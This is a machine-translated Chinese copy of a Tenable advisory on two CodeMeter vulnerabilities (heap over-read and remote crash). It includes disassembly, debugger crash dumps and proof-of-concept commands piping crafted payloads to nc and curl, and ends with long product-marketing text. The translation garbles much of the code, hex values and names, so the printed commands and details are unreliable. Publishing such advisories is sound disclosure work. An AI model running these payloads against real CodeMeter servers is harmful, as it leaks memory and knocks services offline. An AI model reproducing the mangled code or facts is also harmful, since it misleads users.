脸谱网 Google + 推特 LinkedIn YouTube RSS 菜单 搜索 资源——博客 资源-网络研讨会 资源-报告 资源-事件 icons_066 icons_067 icons_068 icons_069 icons_070

多个漏洞Wibu-Systems CodeMeter

至关重要的

剧情简介

cve - 2021 - 20093: CmLAN服务器加密消息缓冲罩上

的CodeMeter CmLAN服务器允许从远程客户端加密的消息,如果消息体以“\ xA2 \ x05”开始。在生成响应时,服务器从一个基于堆的0 x100字节的缓冲区拷贝数据到输出缓冲区在响应中发送。复制数量由客户端控制。未经过身份验证的远程攻击者可以利用这个问题来揭示堆内存内容或崩溃CodeMeter运行时服务器(即。CodeMeter.exe),这取决于大小的消息发送到服务器。

下面的代码片段显示了漏洞:

CodeMeter。exe 7.20.4402.501
[…]。text: 0050 fb0b lea eax, [edi + YS0001。buf);堆0 x100字节的缓冲区。text: 0050 fb0e推动[edi + YS0001。bufsz];attacker-controlled副本大小。text: 0050 fb0e;缓冲罩上- >信息披露或DoS。text: 0050 fb11推动eax。text: 0050 fb12 lea eax, (ecx + 8);输出缓冲区的响应。text: 0050 fb15推动eax。text: 0050 fb16叫_memmove […]

可以使用以下PoC披露堆内存内容:

python3 - c”导入操作系统、结构;大小= 0 x200型;os.write (1 b 'samc ' + struct.pack (“< LHHL”,大小+ 2 0 x71 1, 0) + b ' \ xA2 \ x05“a + b *大小)”|nc   | xxd 0000000: 7361 6d63 0802 0000 7100 0100 0000 0000 samc....q....... 0000010: 0000 0000 6800 0000 0000 0000 0000 0000 ....h........... 0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000100: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000110: 0000 0000 0000 0000 62cd 7e97 3a4a 0d00 ........b.~.:J.. 0000120: d892 be01 90ef 4e01 0000 0000 0000 0000 ......N......... 0000130: 303b bc01 303b bc01 0000 0000 0000 0000 0;..0;.......... 0000140: 403b bc01 403b bc01 0000 0000 0000 0000 @;..@;.......... 0000150: 503b bc01 503b bc01 683a bc01 0000 0000 P;..P;..h:...... 0000160: 0000 0000 0000 0000 0000 0000 9002 0000 ................ 0000170: 0010 0000 20e6 bd16 33cd 7fc7 114a 0d14 .... ...3....J.. 0000180: 0000 7177 e86b c500 6e74 646c 6c2e 646c ..qw.k..ntdll.dl 0000190: 6c00 0000 0000 0000 0900 0000 0f00 0000 l............... 00001a0: f02a 7877 302a 7877 502a 7877 0000 a076 .*xw0*xwP*xw...v 00001b0: e86b c500 6b65 726e 656c 3332 2e64 6c6c .k..kernel32.dll 00001c0: 0000 0000 0c00 0000 0f00 0000 0000 a076 ...............v 00001d0: 0000 a076 0000 a076 0000 a076 0000 a076 ...v...v...v...v 00001e0: 0000 a076 0000 a076 0000 a076 0000 a076 ...v...v...v...v 00001f0: e86b c500 0000 0000 0000 0000 0000 0000 .k.............. 0000200: 0000 0000 0000 0000 0f00 0000 e86b c500 .............k.. 0000210: 0000 0000 0000 0000 ........

概念验证

可以使用以下PoC崩溃CodeMeter运行时服务器(即。,CodeMeter.exe):

python3 - c”导入操作系统、结构;大小= 0 x1000000;os.write (1 b 'samc ' + struct.pack (“< LHHL”,大小+ 2 0 x71 1, 0) + b ' \ xA2 \ x05“a + b *大小)”|nc   > /dev/null python3 -c "import os,struct; size=0x1000000; os.write(1,b'samc'+struct.pack('  > /dev/null Traceback (most recent call last): File "", line 1, in  BrokenPipeError: [Errno 32] Broken pipe

下面显示了访问违反缓冲罩上造成的异常:

0:021 > g (19 d8.8e8): c++呃例外——代码e06d7363(第一次)(19 d8.8e8):访问违例——代码c0000005(第一次)第一次异常报告任何异常处理之前。这个异常可能是预期和处理。eax = 02 c27a28 ebx = 02 d2f920连成一片= 00 fefa28 edx = 01000000 esi = 01 c38000 edi = 04 dc7600 eip = 008 cf81e esp = 02 d2f8b8 ebp = 02 d2f938 iopl = 0 nv了ei pl新西兰na阿宝cy c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00010203 CodeMeter + 0 x1bf81e: 008 cf81e f3a4代表mov字节ptr es: (edi)字节ptr (esi) 0:011 > r eax = 02 c27a28 ebx = 02 d2f920连成一片= 00 fefa28 edx = 01000000 esi = 01 c38000 edi = 04 dc7600 eip = 008 cf81e esp = 02 d2f8b8 ebp = 02 d2f938 iopl = 0 nv了ei pl新西兰na阿宝cy c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00010203 CodeMeter + 0 x1bf81e: 008 cf81e f3a4代表mov字节ptr es: (edi)字节ptr (esi) 0:011 > db esi 01 c38000 ? ?? ?? ?? ?? ?? ?? ?? ?,? ? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:011> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 02d2f938 00864759 02d2f954 02d2f978 8f57e350 CodeMeter+0x1bf81e 01 02d2f98c 008640ce 8f57e314 01c2e8c8 01c56150 CodeMeter+0x154759 02 02d2f9c8 0089715a 8f57e010 01c2e8c8 00000000 CodeMeter+0x1540ce 03 02d2fb2c 00737f0c 00000000 01c28ff8 00737ee0 CodeMeter+0x18715a 04 02d2fb44 008df526 01acdba0 8f57e1a0 008df4ce CodeMeter+0x27f0c 05 02d2fb7c 76a1fa29 01c28ff8 76a1fa10 02d2fbe8 CodeMeter+0x1cf526 06 02d2fb8c 77777a4e 01c28ff8 1682050f 00000000 KERNEL32!BaseThreadInitThunk+0x19 07 02d2fbe8 77777a1e ffffffff 77798919 00000000 ntdll!__RtlUserThreadStart+0x2f 08 02d2fbf8 00000000 008df4ce 01c28ff8 00000000 ntdll!_RtlUserThreadStart+0x1b

cve - 2021 - 20094:远程DoS CmWAN服务器未加密的消息

的CodeMeter CmWAN服务器允许从远程客户端加密的消息,如果消息体以“\ xA2 \ x05”开始。在处理消息时,服务器调用一个无效的c++虚函数,导致异常导致访问冲突过程终止。未经过身份验证的远程攻击者可以利用这个问题崩溃CodeMeter运行时服务器(即。CodeMeter.exe)。

下面的代码片段显示了漏洞:

CodeMeter。exe 7.20.4402.501
[…]。text: 004 fb799 mov edx, [ebp + pYS0083]。text: 004 fb79c xor连成一片,连成一片。text: 004 fb79e添加esp, 0 ch。text: 004 fb7a1 cmp (ebp +缓冲区。cbData],连成一片。text: 004 fb7a4 cmovnz连成一片,(ebp +缓冲区。pbData]。text: 004 fb7a8 mov eax, [edx]。text: 004 fb7aa推动交易所。text: 004 fb7ab mov连成一片,edx。text: 004 fb7ad mov eax, [eax + 28 h]。text: 004 fb7b0叫eax;0095年f758CmWAN服务器[…]

代码调用虚函数的偏移0 x28 YS0083 vftable的类。然而,抵消的字并不指向一个函数的代码部分。相反,它指向某个地方(即。0095 f758)在一个只读部分,不包含代码。

CodeMeter。exe 7.20.4402.501
[…].rdata: 009177 bc常量YS0076:: YS0083::“vftable”dd抵消sub_43A3B0 .rdata:公元前009177;公元前数据XREF: sub_444CB0-B9F9↑o .rdata: 009177;公元前sub_43A3B0 + F↑o .rdata: 009177;公元前sub_444CB0↑+ 4 e o .rdata: 009177;公元前sub_465CA0-7C2↑o .rdata: 009177;公元前sub_465780 + 16↑o .rdata: 009177;公元前sub_4B9D00 + 156↑o .rdata: 009177;公元前sub_4BA590 + 68↑o .rdata: 009177;公元前sub_4D50C0↑+ 6 d o .rdata: 009177;公元前sub_4D5270↑+ 7 d o .rdata: 009177; sub_563D60+4E↑o .rdata:009177BC ; sub_563DD0+53↑o .rdata:009177C0 dd offset sub_54BA30 .rdata:009177C4 dd offset sub_54B820 .rdata:009177C8 dd offset sub_54B920 .rdata:009177CC dd offset YS0306_decrypt .rdata:009177D0 dd offset sub_54B430 .rdata:009177D4 dd offset sub_54B710 .rdata:009177D8 dd offset sub_54B550 .rdata:009177DC dd offset sub_54B540 .rdata:009177E0 dd offset sub_54B3E0 .rdata:009177E4 dd 95F758h [...] .rdata:0095F758常量YS0063::“RTTI完成对象定位器的dd 0;签名.rdata: 0095 f75c dd 0;偏置的vtable完全类(自上而下).rdata: 0095 f760 dd 0;构造器位移的偏移.rdata: 0095 f764 dd抵消YS0063 RTTI类型描述符”;引用类型描述.rdata: 0095 f768 dd抵消YS0063::“RTTI层次结构描述符”;引用层次描述[…]

最终的结果是异常导致访问冲突过程终止:

(1 ef0.1264):访问违例-代码c0000005(第一次)第一次异常报告任何异常处理之前。这个异常可能是预期和处理。eax = 00 c6f758 ebx = 01 d10138连成一片= 01 ce8da4 edx = 01 ce8da4 esi = 01293 a9c edi = 01 d11ed8 eip = 00 c6f758 esp = 02 e6f6f4 ebp = 02 e6f804 iopl = 0 nv了ei pl新西兰na pe数控c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00010206 CodeMeter + 0 x55f758: 00 c6f758 0000添加字节ptr eax,艾尔ds: 002 b: 00 c6f758 = 00 0:009 > kb # ChildEBP RetAddr Args儿童警告:堆栈解除信息不可用。后帧可能是错误的。00 02 e6f804 007 ef5a5 c003de67 01 d10150 01 d221f0 CodeMeter + 0 x55f758 01 02 e6f844 007 ef9c0 c003de5b 01 d10138 43697000 CodeMeter + 0 xdf5a5 02年02 e6f878 007 ef36d c003deeb 01 d10150 01 d10138 CodeMeter + 0 xdf9c0 03 02 e6f8fc 77753 bb6 77753 00000000 77753 CodeMeter + 0 xdf36d 04 02 e6f918 008 ee6a3 01270000 00000000 01 d0bb70 ntdll !RtlFreeHeap + 0 x46 05年02 e6f92c 008 d9a7b 01 d0bb70 00000000 01 d10150 CodeMeter + 0 x1de6a3 06年02 e6f948 00863 cc2 01 d0bb70 c003deeb 02 e6f99c CodeMeter + 0 x1c9a7b 07年02 e6f958 00863生活01 d10138 00863 ce c003dfbf CodeMeter + 0 x153cc2 08年02 e6f99c 0089715 c003dc83 01 cf37a0 00000000 CodeMeter + 0 x153e6c 09年02 e6faa4 008 edf63 01 cf37a0 01 cf37a0 01 cf36d8 CodeMeter + 0 x18715a 0 02 e6fb00 00737 f0c 00737 01 b93480 00737 ee0 CodeMeter + 0 x1ddf63 0 b 02 e6fb50 76 a1fa29 01 b93480 76 a1fa10 02年e6fbbc CodeMeter + 0 x27f0c 0 c 02 e6fb60 77777 a4e 01 b93480 160 e095a 00000000 KERNEL32 !BaseThreadInitThunk + 0 x19 0 d 02 e6fbbc 77777 a1e ffffffff 777988 fd 00000000 ntdll !__RtlUserThreadStart + 0 x2f 0 e 02 e6fbcc 00000000 008 df4ce 01 b93480 00000000 ntdll ! _RtlUserThreadStart x1b + 0

概念验证

可以使用以下PoC崩溃CodeMeter运行时服务器(即。,CodeMeter.exe):

echo - ne ' \ xa2 \ x05 \ x00 \ x00 \ x00 \ x00”| curl - m 10 - h的内容类型:应用程序/ x-wibucm-coreapi——data-binary @ http:// < CmHost >: < CmWANServerPort > /卷发:(56)失败当接收数据从同行echo - ne ' \ xa2 \ x05 \ x00 \ x00 \ x00 \ x00”| curl - m 10 - h的内容类型:应用程序/ x-wibucm-coreapi——data-binary @ http:// < CmHost >: < CmWANServerPort > /卷发:(7)无法连接到主机

解决方案

Wibu-Systems 7.21发布了CodeMeter,修复漏洞。https://www.wibu.com/us/support/user/downloads-user-software.html

披露时间表

4/21/2021——漏洞发现
4/21/2021——站得住脚的问(电子邮件保护)安全接触
4/21/2021——Wibu支持创建一个使用机票的机票和问站得住脚的。票被拒绝访问。
4/21/2021站得住脚的要求一个电子邮件地址联系,指出无法访问的机票。
4/22/2021——站得住脚的问(电子邮件保护)安全联系。
4/23/2021——Wibu通知站得住脚的联系(电子邮件保护)
4/23/2021——站得住脚的报告漏洞Wibu CERT。
4/23/2021——Wibu承认。
4/26/2021——Wibu繁殖问题,表明他们正在修复。
5/03/2021 Wibu发送草案咨询,问站得住脚的顾客如果Wibu可以披露问题在不触发站得住脚的披露。
5/03/2021——站得住脚的告知Wibu,向客户披露将引发公开披露站得住脚的。
5/25/2021——Wibu股票β固定版本,要求成立确认修复。
5/27/2021——站得住脚的证实的证据概念问题不再工作。
6/15/2021——Wibu释放CodeMeter的固定版本,7.21。

交易报告内的所有信息提供了“是”,没有任何形式的保证,包括适销性的隐含保证和健身为特定目的,并没有保证的完整性、准确性、及时性。个人和组织负责评估任何实际或潜在的安全漏洞的影响。

站得住脚的非常重视产品安全。如果你认为你已经找到一个漏洞在一个我们的产品,我们要求您请与我们共同努力,快速解决它为了保护客户。站得住脚的相信迅速应对这样的报道,与研究人员保持沟通,并提供解决方案。

提交漏洞信息的更多细节,请参阅我们的漏洞报告指南页面。

如果你有问题或修正咨询,请电子邮件(电子邮件保护)

风险信息

成立咨询ID
- 2021 - 24
CVSSv3基地/时间的分数
9.1
7.5
CVSSv3向量
CVSS: 3.0 / AV: N /交流:L /公关:UI: N / N / S: U / C: H /我:N / A: H
CVSS: 3.0 / AV: N /交流:L /公关:UI: N / N / S: U / C: N /我:N / A: H
受影响的产品
Wibu-Systems CodeMeter < 7.21
风险因素
至关重要的

咨询时间

6/15/2021——咨询发表。

站得住脚的脆弱性管理

以前Tenable.io


享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。

你站得住脚的脆弱性管理试验Lumin还包括成立,成立网络应用扫描和站得住脚的云安全。

站得住脚的脆弱性管理

以前Tenable.io

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。今天购买你的年度订阅。

65年资产

选择你的订阅选项:

现在购买

尝试成立Nessus专业免费的

免费7天

站得住脚的Nessus是当今市场上最全面的漏洞扫描器。

新成立Nessus专家
现在可用

Nessus专家增添了更多的功能,包括外部攻击表面扫描,和添加域和扫描云基础设施的能力。点击这里尝试Nessus专家。

填写下面的表格继续Nessus Pro的审判。

买站得住脚的Nessus专业

站得住脚的Nessus是当今市场上最全面的漏洞扫描器。站得住脚的Nessus专业将帮助自动化漏洞扫描过程,节省时间在你的合规周期,让你与你的团队。

买一个多年的许可并保存。高级支持访问添加到手机、社区和聊天支持一天24小时,一年365天。

选择您的许可

买一个多年的许可并保存。

添加的支持和培训

Tenable.io

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。

你站得住脚的脆弱性管理试验Lumin还包括成立,成立网络应用扫描和站得住脚的云安全。

Tenable.io

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。今天购买你的年度订阅。

65年资产

选择你的订阅选项:

现在购买

尝试站得住脚的Web应用程序扫描

以前Tenable.ioWeb Application Scanning

享受完全访问我们的最新的web应用程序扫描提供专为现代应用程序的一部分的一个管理平台。安全扫描整个在线组合漏洞具有高精确度没有重体力工作或中断关键web应用程序。现在报名。

你站得住脚的Web应用程序扫描试验还包括站得住脚的脆弱性管理,成立Lumin站得住脚的云安全。

买站得住脚的Web应用程序扫描

以前Tenable.ioWeb Application Scanning

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。今天购买你的年度订阅。

5 fqdn

3578美元

现在购买

尝试成立Lumin

可视化和探索你的风险管理,跟踪风险降低随着时间的推移和基准与站得住脚的Lumin你的同行。

你站得住脚的Lumin审判还包括站得住脚的脆弱性管理,站得住脚的Web应用程序扫描和站得住脚的云安全。

买站得住脚的Lumin

联系销售代表如何站得住脚的Lumin可以帮助你了解你的整个组织和管理网络的风险。

尝试站得住脚的云安全

以前Tenable.cs

享受完全访问检测和修复云基础设施配置错误和查看运行时的漏洞。现在注册你的免费试用。了解更多关于审判过程请点击这里。

你站得住脚的云安全试验还包括站得住脚的脆弱性管理,成立Lumin和站得住脚的Web应用程序扫描。

联系销售代表购买站得住脚的云安全

联系销售代表来了解更多关于站得住脚的云安全,看是多么容易机载云账户和获得可见性都几分钟内云配置错误和漏洞。

尝试成立Nessus专家免费

免费7天

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

已经成立Nessus专业吗?
升级到Nessus专家免费7天。

买站得住脚的Nessus专家

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

选择您的许可

买一个多年的执照和存更多的钱。

添加的支持和培训

尝试Nessus专家免费

免费7天

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

已经有了Nessus专业?
升级到Nessus专家免费7天。

买站得住脚的Nessus专家

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

选择您的许可

买一个多年的执照和存更多的钱。

添加的支持和培训

Baidu
map